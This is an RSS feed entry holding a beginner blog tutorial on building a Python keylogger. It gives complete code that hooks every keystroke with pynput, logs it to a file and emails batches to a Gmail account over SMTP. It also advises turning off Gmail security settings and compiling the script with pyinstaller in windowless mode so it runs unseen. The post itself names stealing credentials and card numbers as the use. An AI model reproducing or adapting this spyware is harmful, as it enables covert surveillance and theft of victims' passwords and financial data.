<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Arinze Justin</title>
    <description>The latest articles on Forem by Arinze Justin (@arinze_justinng).</description>
    <link>https://forem.com/arinze_justinng</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F691291%2F9b3bfe7b-9a2c-431a-aed6-904954e03ade.jpg</url>
      <title>Forem: Arinze Justin</title>
      <link>https://forem.com/arinze_justinng</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/arinze_justinng"/>
    <language>en</language>
    <item>
      <title>How I build python keylogger</title>
      <dc:creator>Arinze Justin</dc:creator>
      <pubDate>Mon, 25 Oct 2021 00:28:44 +0000</pubDate>
      <link>https://forem.com/arinze_justinng/how-i-build-python-keylogger-i8k</link>
      <guid>https://forem.com/arinze_justinng/how-i-build-python-keylogger-i8k</guid>
      <description>&lt;p&gt;&lt;strong&gt;A&lt;/strong&gt; &lt;em&gt;keylogger&lt;/em&gt; is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard. In this tutorial, you will learn how to write a &lt;em&gt;keylogger&lt;/em&gt; in Python.&lt;/p&gt;

&lt;p&gt;You are maybe wondering, why a &lt;em&gt;keylogger&lt;/em&gt; is useful ? Well, when a hacker uses this for unethical purposes, he/she will gather information of everything you type in the keyboard including your credentials (credit card numbers, passwords, etc.).&lt;/p&gt;

&lt;h2&gt;
  
  
  First, we gonna need to install a module called pynput, go to the terminal or the command prompt and write:
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;pip3 install pynput&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This module allows you to take full control of your keyboard, hook global events, register hotkeys, simulate key presses and much more.&lt;/p&gt;

&lt;h2&gt;
  
  
  Let us start by import the necessary modules:
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  import logging #for logging to a file
  import smtplib #for sending email using SMTP protocol (gmail)

  from pynput.keyboard import Key, Listener #for keylogs
  from random import randint #for generating random file name
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you are to report key logs via email, then you should set up a Gmail account and make sure that:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Less secure app access is ON.&lt;/li&gt;
&lt;li&gt;2-Step Verification is OFF.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Generate the logging file:
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;output = '3ke' + str(randint(0, 10000)) + '.txt'

log_dir = ""

logging.basicConfig(filename=(log_dir + output), level=logging.DEBUG, format='%(asctime)s: %(message)s')

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Setup email that receives the keystrokes
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;email = 'your@gmail.com'
password = 'password'
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(email, password)

full_log = ""
word = ""
email_char_limit = 60 #set how many charcters to store before sending 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The code that append the key that is press and save :
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def on_press(key, false=None):
    global word
    global full_log
    global email
    global email_char_limit
    logging.info(str(key))

    if key == Key.space or key == Key.enter:
        word += ' '
        full_log += word
        word = ''
        if len(full_log) &amp;gt;= email_char_limit:
            send_log()
            full_log = ''
    elif key == Key.shift_l or key == Key.shift_r:
        return
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char = f'{key}'
        char = char[1:-1]
        word += char

    if key == Key.esc:
        return false 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The code that sends the append keys that is press :
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def send_log():
    server.sendmail(
        email,
        email,
        full_log
    )

with Listener(on_press=on_press) as listener:
    listener.join()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To convert it to executable file using pyinstaller:&lt;/p&gt;

&lt;h2&gt;
  
  
  First install &lt;strong&gt;PYINSTALLER&lt;/strong&gt;
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;pip install pyinstaller&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Then navigate to the project directory of the main py file with cmd and run this code &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;pyinstaller --onefile -w 'fileName.py' #-w for no console&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  My first coding using python
&lt;/h2&gt;

</description>
      <category>python</category>
      <category>spyware</category>
      <category>beginners</category>
      <category>programming</category>
    </item>
  </channel>
</rss>
